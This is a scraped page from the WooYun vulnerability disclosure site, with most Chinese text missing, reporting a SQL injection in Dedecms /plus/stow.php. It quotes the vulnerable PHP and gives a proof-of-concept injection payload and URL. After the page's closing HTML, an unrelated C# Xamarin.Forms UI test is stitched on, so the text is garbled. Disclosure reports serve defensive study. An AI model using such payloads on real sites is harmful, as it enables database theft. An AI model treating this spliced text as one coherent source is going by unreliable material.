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\u7528\u6237\u6635\u79f0\/\u5382\u5546\u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a<br \/>","SMS_SEND_TITLE":"* \u6807\u9898\u4e0d\u80fd\u4e3a\u7a7a<br \/>","SMS_SEND_CONTENT":"* \u5185\u5bb9\u4e0d\u80fd\u4e3a\u7a7a<br \/>","SMS_SEND_CAPTCHA":"* \u9a8c\u8bc1\u7801\u4e0d\u80fd\u4e3a\u7a7a<br \/>","NUMBER":"\u7684\u6b63\u6574\u6570","RATING_SUCCESS":"\u8bc4\u5206\u6210\u529f","RATING_BUGS_DONE":"\u5df2\u5bf9\u6b64\u6f0f\u6d1e\u8fdb\u884c\u8fc7\u8bc4\u5206","RATING_BUGS_SELF":"\u4e0d\u80fd\u5bf9\u81ea\u5df1\u53d1\u5e03\u7684\u6f0f\u6d1e\u8fdb\u884c\u8bc4\u5206","RATING_SUBMIT_CANCLE":"\u53d6\u6d88\u63d0\u4ea4\u8bc4\u5206","RATING_SUBMIT":"\u63d0\u4ea4\u6211\u7684\u8bc4\u5206","RATING_SUBMIT_CHECK":"\u8bf7\u786e\u5b9a\u6bcf\u4e00\u9879\u90fd\u9009\u62e9\u4e86\u8bc4\u5206","RATING_CONFIRM":"\u786e\u5b9a\u63d0\u4ea4\u5bf9\u6b64\u5382\u5546\u7684\u8bc4\u5206\u5417\uff1f","RATING_LOGIN":"\u53ea\u6709\u767b\u5f55\u7684\u767d\u5e3d\u5b50\u624d\u80fd\u8bc4\u5206","RATING_DONE":"\u5df2\u7ecf\u8bc4\u8fc7\u5206\u4e86","WOOYUN_CORPS":"\u4e4c\u4e91\u5382\u5546","MARST_IMAGE":"\u5bf9\u56fe\u7247\u6253\u7801","FEEDBACK_LINK_NULL":"\u94fe\u63a5\u4e0d\u80fd\u4e3a\u7a7a\uff01","FEEDBACK_LINK_ERROR":"\u8bf7\u4e66\u5199\u6b63\u786e\u7684\u94fe\u63a5\u5730\u5740\uff01","FEEDBACK_CONTENT_NULL":"\u95ee\u9898\u5185\u5bb9\u4e0d\u80fd\u4e3a\u7a7a\uff01","FEEDBACK_ALLOW_LIMIT":"\u534a\u5c0f\u65f6\u53ea\u5141\u8bb8\u53cd\u9988\u4e00\u6b21","TOP_RANK":"\u6392\u540d","TOP_BUG_TITLE":"\u6f0f\u6d1e\u6807\u9898","TOP_RANK_NONE":"\u6682\u65e0\u6392\u540d","TOP_BUGS_GOOD":"\u4f18\u8d28\u6f0f\u6d1e\u6570","NICKNAME":"\u6635\u79f0","LEVEL":"\u7b49\u7ea7","VALUE":"\u503c","EDITOR_INSERT_PIC":"\u63d2\u5165\u56fe\u7247","EDITOR_PIC_ADDR":"\u5730\u5740\uff1a","EDITOR_CONFIRM":"\u786e\u5b9a","EDITOR_PIC_NULL":"\u8bf7\u4e0a\u4f20\u56fe\u7247\u6216\u586b\u5199\u56fe\u7247\u5730\u5740","EDITOR_INSERT_VIDIO":"\u63d2\u5165\u89c6\u9891","EDITOR_VIDIO_ADDR":"\u89c6\u9891\u5730\u5740\uff1a","EDITOR_VIDIO_NULL":"\u8bf7\u586b\u5199\u89c6\u9891\u5730\u5740(.swf)","EDITOR_VIDIO_TYPE":"\u76ee\u524d\u4ec5\u652f\u6301.swf\u683c\u5f0f","PIC_SELECT":"\u8bf7\u9009\u62e9\u5f85\u4e0a\u4f20\u7684\u56fe\u7247","PIC_TYPE_IS":"\u56fe\u7247\u7c7b\u578b\u4e3a","UPLOAD":"\u4e0a\u4f20","RANK_AVG":"\u6f0f\u6d1e\u5e73\u5747"};
$(function(){
function getParamsOfShareWindow(width, height) {
return ['toolbar=0,status=0,resizable=1,width=' + width + ',height=' + height + ',left=',(screen.width-width)/2,',top=',(screen.height-height)/2].join('');
}
});
function errimg(img){
tmp=img.src;
nimg=tmp.replace("path_to_url","path_to_url");
img.src=nimg;
$(img).parent().attr('href',nimg);
img.onerror=null;
}
function AttendBug(id){
$.get('/ajaxdo.php',{module:'attendbug',id:id,rid:Math.random(),token:$("#token").val()},function(re){
if(re==1){
$("#attention_num").html(parseInt($("#attention_num").html())+1);
$("#attend_action").html(''+_LANGJS.ATTENTION_DONE+' <a class="btn" href="javascript:void(0)" onclick="AttendCancel('+id+')">'+_LANGJS.ATTENTION_CANCEL+'</a></span>');
}else if(re==2){
alert(_LANGJS.LOGIN_FIRST);
}else if(re==3){
alert(_LANGJS.ATTENTION_BUG_DONE);
}else{
alert(_LANGJS.FAIL_MANAGE);
}
});
}
function AttendCancel(id){
if(confirm(_LANGJS.ATTENTION_BUG_CONFIRM+"?")){
$.get('/ajaxdo.php',{module:'attendcancel',id:id,rid:Math.random(),token:$("#token").val()},function(re){
if(re==1){
$("#attention_num").html(parseInt($("#attention_num").html())-1);
$("#attend_action").html('<a class="btn" href="javascript:void(0)" onclick="AttendBug('+id+')">'+_LANGJS.ATTENTION_BUG+'</a></span>');
}else{
alert(_LANGJS.FAIL_MANAGE);
}
});
}
}
function CollectBug(id,token){
$.get('/ajaxdo.php',{'module':'collect','id':id,'token':token,'rid':Math.random()},function(re){
if(re==1){
$("#collection_num").html(parseInt($("#collection_num").html())+1);
$(".btn-fav").removeClass("fav-add");
$(".btn-fav").addClass("fav-cancel");
$(".btn-fav").unbind();
$(".btn-fav").click(function(){
CollectCancel(id,token);
});
}else if(re==2){
alert(_LANGJS.LOGIN_FIRST);
}else if(re==3){
alert(_LANGJS.COLLECTION_BUG_DONE);
}else{
alert(_LANGJS.FAIL_MANAGE);
}
});
}
function CollectCancel(id,token){
if(confirm(_LANGJS.COLLECTION_BUG_CONFIRM+"?")){
$.get('/ajaxdo.php',{'module':'collectcancel','id':id,'token':token,'rid':Math.random()},function(re){
if(re==1){
$("#collection_num").html(parseInt($("#collection_num").html())-1);
$(".btn-fav").removeClass("fav-cancel");
$(".btn-fav").addClass("fav-add");
$(".btn-fav").unbind();
$(".btn-fav").click(function(){
CollectBug(id,token);
});
}else{
alert(_LANGJS.FAIL_MANAGE);
}
});
}
}
</script>
<div class="content">
<input type="hidden" id="token" style="display:none" value="" />
<h2>
<span style="margin:0 0 0 580px; float:right; position:absolute; font-size:14px; font-weight:normal">(<span id="attention_num">13</span>)
<span id="attend_action">
<a class="btn" href="javascript:void(0)" onclick="AttendBug(48913)"></a></span>
</span></h2>
<h3> <a href="wooyun-2014-048913">WooYun-2014-48913</a>
<input id="fbid" type="hidden" value="48913">
</h3>
<h3 class='wybug_title'> Dedecms 8() <img src="path_to_url" alt="" class="credit">
</h3>
<h3 class='wybug_corp'> <a href="path_to_url">
Dedecms </a>
</h3>
<h3 class='wybug_author'> <a href="path_to_url">Matt</a><img height="12" width="12" style="vertical-align:-2px;margin-left:2px;" src="path_to_url" alt="" /></h3>
<h3 class='wybug_date'> 2014-01-14 18:25</h3>
<h3 class='wybug_open_date'> 2014-04-14 18:26</h3>
<h3 class='wybug_type'> SQL</h3>
<h3 class='wybug_level'> </h3>
<h3>Rank 20</h3>
<h3 class='wybug_status'>
</h3>
<h3> <a href="path_to_url">path_to_url help@wooyun.org</h3>
<h3>Tags
</h3>
<h3>
<!-- Baidu Button BEGIN -->
<div id="share">
<div style="float:right; margin-right:100px;font-size:12px">
<span class="fav-num"><a id="collection_num">1</a></span>
<a style="text-decoration:none; font-size:12px" href="javascript:void(0)" class="fav-add btn-fav"></a>
<script type="text/javascript">
var token="";
var id="48913";
$(".btn-fav").click(function(){ CollectBug(id,token); });
</script>
</div>
<span style="float:left;"></span>
<div id="bdshare" class="bdshare_b" style="line-height: 12px;"><img src="path_to_url" />
<a class="shareCount"></a>
</div>
</div>
<!-- Baidu Button END -->
</h3>
<hr align="center"/>
<h2></h2>
<h3 class="detailTitle"></h3>
<p class="detail" style="padding-bottom:0">
</p>
<p class="detail wybug_open_status">
2014-01-14 <br/>
2014-01-14 <br/>
2014-01-17 <a href="path_to_url" target="_blank"></a><a href="path_to_url" target="_blank"></a><a href="path_to_url" target="_blank"></a><br/>
2014-03-10 <br/>
2014-03-20 <br/>
2014-03-30 <br/>
2014-04-14 <br/>
</p>
<h3 class="detailTitle"></h3>
<p class="detail wybug_description">Dedecms 8()<br />
<br />
</p>
<h3 class="detailTitle"></h3>
<div class='wybug_detail'>
<p class="detail"></p><fieldset class='fieldset fieldset-code'><legend>code </legend><pre><code>/plus/stow.php<br />
if($type=='')<br />
{<br />
$row = $dsql->GetOne("SELECT * FROM `#@__member_stow` WHERE aid='$aid' <br />
<br />
AND mid='{$ml->M_ID}'");<br />
if(!is_array($row))<br />
{<br />
$dsql->ExecuteNoneQuery("INSERT INTO `#@__member_stow`<br />
<br />
(mid,aid,title,addtime) VALUES ('".$ml->M_ID."','$aid','".addslashes<br />
<br />
($arctitle)."','$addtime'); ");<br />
} else {<br />
ShowMsg('<br />
<br />
','javascript:window.close();');<br />
exit();<br />
}<br />
} else {<br />
$row = $dsql->GetOne("SELECT * FROM `#@__member_stow` WHERE <br />
<br />
type='$type' AND (aid='$aid' AND mid='{$ml->M_ID}')");<br />
if(!is_array($row))<br />
{<br />
$dsql->ExecuteNoneQuery(" INSERT INTO `#@__member_stow`<br />
<br />
(mid,aid,title,addtime,type) VALUES ('".$ml-<br />
<br />
>M_ID."','$aid','$title','$addtime','$type'); ");//TITLE<br />
<br />
<br />
}</code></pre></fieldset><p class='detail'> </p>
</div>
<h3 class="detailTitle"></h3>
<div class='wybug_poc'>
<p class="detail">soeasy <br />
<br />
**.**.**.**/dede/member/content_list.php?channelid=1 <br />
<br />
1111',1,2),(8,136,user(),1,2),(1,2,'3<br />
<br />
<br />
<br />
<br />
<br />
ID<br />
<br />
**.**.**.**/dede/plus/stow.php?aid=137&type=11%27 <br />
<br />
137ID<br />
<br />
</p><p class="detail usemasaic"><a href="../upload/201401/14182236cb067ecb3f3fd5fc6b7dd1f4a494bca7.png" target="_blank"><img src="../upload/201401/14182236cb067ecb3f3fd5fc6b7dd1f4a494bca7.png" alt="QQ20140114181557.png" width="600" onerror="javascript:errimg(this);"/></a></p><p class="detail"></p><p class="detail usemasaic"><a href="../upload/201401/14182244432d1041d0ac6c75bd53583cbc2cd96f.png" target="_blank"><img src="../upload/201401/14182244432d1041d0ac6c75bd53583cbc2cd96f.png" alt="3.png" width="600" onerror="javascript:errimg(this);"/></a></p><p class="detail"></p><p class="detail usemasaic"><a href="../upload/201401/141823009a981167eb1db812b450e76b94c2eed8.png" target="_blank"><img src="../upload/201401/141823009a981167eb1db812b450e76b94c2eed8.png" alt="2.png" width="600" onerror="javascript:errimg(this);"/></a></p><p class="detail"><br />
<br />
</p><p class="detail usemasaic"><a href="../upload/201401/1418233608f553838217e3da757a16ce274ce566.png" target="_blank"><img src="../upload/201401/1418233608f553838217e3da757a16ce274ce566.png" alt="5.png" width="600" onerror="javascript:errimg(this);"/></a></p><p class="detail"> </p>
</div>
<h3 class="detailTitle"></h3>
<div class='wybug_patch'>
<p class="detail"> </p>
</div>
<h3 class="detailTitle"> <a style="font-weight:normal" href="path_to_url" title="Matt">Matt</a>@<a style="font-weight:normal" href="path_to_url" title="Dedecms 8()"></a></h3>
<hr align="center"/>
<h2 id="bugreply"></h2>
<div class='bug_result'>
<h3 class="detailTitle"></h3>
<p class="detail"></p>
<p class="detail">Rank6 </p>
<p class="detail">2014-01-14 22:24</p>
<h3 class="detailTitle"></h3>
<p class="detail"></p>
<h3 class="detailTitle"></h3>
<p class="detail"></p>
</div>
<hr align="center" />
<script type="text/javascript">
var bugid="48913";
var bugRating="-3";
var myRating="";
var ratingCount="0";
function ShowBugRating(k){
var ratingItems=$(".myrating span");
$.each(ratingItems,function(i,n){
var nk=parseInt($(n).attr("rel"));
if(nk<=k){
$(n).addClass("on");
}else{
$(n).removeClass("on");
}
});
$(".myrating span").hover(
function(){
$("#ratingShow").html($(this).attr("data-title"));
},
function(){
$("#ratingShow").html("");
}
);
}
$(document).ready(function(){
if(myRating==""){
var ratingItems=$(".myrating span");
$(".myrating span").hover(
function(){
$(this).addClass("hover");
var k=parseInt($(this).attr("rel"));
$.each(ratingItems,function(i,n){
var nk=parseInt($(n).attr("rel"));
if(nk<k) $(n).addClass("on");
if(nk>k) $(n).removeClass("on");
});
$("#ratingShow").html($(this).attr("data-title"));
},
function(){
$(this).removeClass("hover");
if($("#myRating").val()==""){
$.each(ratingItems,function(i,n){
$(n).removeClass("on");
});
}
$("#ratingShow").html("");
}
);
$(".myrating span").click(function(){
var rating=$(this).attr("rel");
var k=parseInt($(this).attr("rel"));
$.post("/ajaxdo.php?module=bugrating",{"id":bugid,"rating":rating,"token":$("#token").val()},function(re){
//
$(".myrating span").unbind();
re=parseInt(re);
switch(re){
case 1:
$("#ratingShow").html(_LANGJS.RATING_SUCCESS);
$("#ratingSpan").html(parseInt($("#ratingSpan").html())+1);
$.each(ratingItems,function(i,n){
var nk=parseInt($(n).attr("rel"));
if(nk<=k){
$(n).addClass("on");
}else{
$(n).removeClass("on");
}
});
ShowBugRating(rating);
break;
case 2:
$("#ratingShow").html(_LANGJS.LOGIN_FIRST);
break;
case 4:
$("#ratingShow").html(_LANGJS.RATING_BUGS_DONE);
break;
case 6:
$("#ratingShow").html(_LANGJS.RATING_BUGS_SELF);
break;
default:break;
}
});
});
}else{
if(ratingCount>2){
ShowBugRating(bugRating);
}else{
ShowBugRating(-3);
}
}
});
</script>
<h3 class="detailTitle"></h3>
<p class="detail"></p>
<h5 class="rating">
<div class="ratingText"><span>(<span id="ratingSpan">0</span>)</span>:</div>
<div class="myrating">
<span rel="-2" data-title=""></span>
<span rel="-1" data-title=""></span>
<span rel="0" data-title=""></span>
<span rel="1" data-title=""></span>
<span rel="2" data-title=""></span>
<div id="ratingShow">
</div>
</div>
</h5>
<input type="hidden" id="myRating" value="" />
<hr align="center" />
<h2></h2>
<div id="replys" class="replys">
<ol class="replylist">
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2014-01-14 18:26</span> |
<a target='_blank' href="path_to_url"></a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:1 :2 | )
<div class="likebox">
<span class="likepre" title="" rel="76927"></span>
<span class="liketext liketext_min"><span id="likenum_76927">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p> </p>
</div>
<div class="replylist-act">
<span class="floor">1#</span>
<a title=" " href="javascript:void(0)" class="replyBtn" onclick="Reply('')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2014-01-14 18:34</span> |
<a target='_blank' href="path_to_url">Stranger</a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:0 :1 | .....)
<div class="likebox">
<span class="likepre" title="" rel="76929"></span>
<span class="liketext liketext_min"><span id="likenum_76929">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p>,,........ </p>
</div>
<div class="replylist-act">
<span class="floor">2#</span>
<a title=" Stranger" href="javascript:void(0)" class="replyBtn" onclick="Reply('Stranger')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2014-01-15 04:21</span> |
<a target='_blank' href="path_to_url"></a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:28 :24 | ~)
<div class="likebox">
<span class="likepre" title="" rel="76970"></span>
<span class="liketext liketext_min"><span id="likenum_76970">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p>.... </p>
</div>
<div class="replylist-act">
<span class="floor">3#</span>
<a title=" " href="javascript:void(0)" class="replyBtn" onclick="Reply('')"></a>
</div>
</div><!-- reply-content End -->
</li>
</ol><!-- replylist End -->
</div><!-- replys End -->
<div id="reply" class="reply">
<a name="comment"></a>
<p class="detail">
<a href="path_to_url"><u></u></a>
</p>
<script type="text/javascript">
var masaic = '0';
function CommentLike(id){
$.post("/ajaxdo.php?module=commentrating",{"id":id,"token":$("#token").val()},function(re){
re=parseInt(re);
switch(re){
case 1:
$("#likenum_"+id).html(parseInt($("#likenum_"+id).html())+1);
break;
case 4:
alert(_LANGJS.COMMENT_GOOD_DONE);
break;
case 6:
alert(_LANGJS.COMMENT_SELF);
break;
default:break;
}
});
}
$(document).ready(function(){
$(".likebox .likepre").click(function(){
CommentLike($(this).attr("rel"));
});
});
</script>
<div>
</div>
<div id="footer">
<span class="copyright fleft">
<a href="path_to_url">ICP15041338-1</a>
<!--a href="path_to_url" target="_blank"><img src="/images/sae_bottom_logo.png" title="Powered by Sina App Engine"></a-->
</span>
<span class="other fright">
<a href="path_to_url"></a>
<a href="path_to_url"></a>
<a href="path_to_url"></a>
<a href="path_to_url"></a>
<a href="path_to_url"></a>
</span>
</div>
<script type="text/javascript">
var _bdhmProtocol = (("https:" == document.location.protocol) ? " https://" : " http://");
document.write(unescape("%3Cscript src='" + _bdhmProtocol + "hm.baidu.com/h.js%3Fc12f88b5c1cd041a732dea597a5ec94c' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript" id="bdshare_js" data="type=button" ></script>
<script type="text/javascript" id="bdshell_js"></script>
<script type="text/javascript">
document.getElementById("bdshell_js").src = "path_to_url" + new Date().getHours();
if (top.location !== self.location) top.location=self.location;
</script>
</body>
</html>
``` |
```smalltalk
using Xamarin.Forms.CustomAttributes;
using Xamarin.Forms.Internals;
namespace Xamarin.Forms.Controls.Issues
{
#if UITEST
[NUnit.Framework.Category(Core.UITests.UITestCategories.Bugzilla)]
#endif
[Preserve(AllMembers = true)]
[Issue(IssueTracker.Bugzilla, 37601, "ToolbarItem throws error when navigating to TabbedPage ",
PlatformAffected.WinPhone)]
public class Bugzilla37601 : TestNavigationPage
{
protected override void Init()
{
Navigation.PushAsync(new SelectPage());
}
}
internal class SelectPage : ContentPage
{
public SelectPage()
{
var button = new Button { Text = "Move" };
var label = new Label
{
Text =
"Click the Move button. If the next page is displayed, the test has passed. If the app crashes, the test has failed."
};
Content = new StackLayout
{
Children = { label, button }
};
button.Clicked += (sender, args) => { Navigation.PushAsync(new TabbedMain(), true); };
ToolbarItems.Add(new ToolbarItem { Text = "Log Out" });
}
}
internal class TabbedMain : TabbedPage
{
public TabbedMain()
{
var page1 = new ContentPage { Title = "Page1" };
page1.Content = new StackLayout
{
Children = { new Label { Text = "If you can see this, we haven't crashed. Yay!" } }
};
Children.Add(page1);
Children.Add(new ContentPage { Title = "Page2" });
}
}
}
``` |
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